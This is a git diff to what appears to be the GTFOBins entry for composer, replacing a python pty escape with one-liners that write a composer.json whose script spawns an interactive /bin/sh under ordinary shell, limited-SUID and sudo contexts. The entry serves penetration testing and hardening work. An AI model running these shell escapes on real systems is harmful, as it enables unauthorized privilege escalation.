diff --git a/_gtfobins/composer.md b/_gtfobins/composer.md index 70d66a0..2b8cb66 100644 --- a/_gtfobins/composer.md +++ b/_gtfobins/composer.md @@ -1,23 +1,18 @@ --- functions: - suid: + shell: - code: | - cat << EOF > composer.json - { - "scripts": { - "command": "python3 -c 'import pty;pty.spawn(\"bash\")'" - } - } - EOF - ./composer run-script command + TF=$(mktemp -d) + echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json + composer --working-dir=$TF run-script x + limited-suid: + - code: | + TF=$(mktemp -d) + echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json + ./composer --working-dir=$TF run-script x sudo: - code: | - cat << EOF > composer.json - { - "scripts": { - "command": "python3 -c 'import pty;pty.spawn(\"bash\")'" - } - } - EOF - composer run-script command + TF=$(mktemp -d) + echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json + sudo composer --working-dir=$TF run-script x ---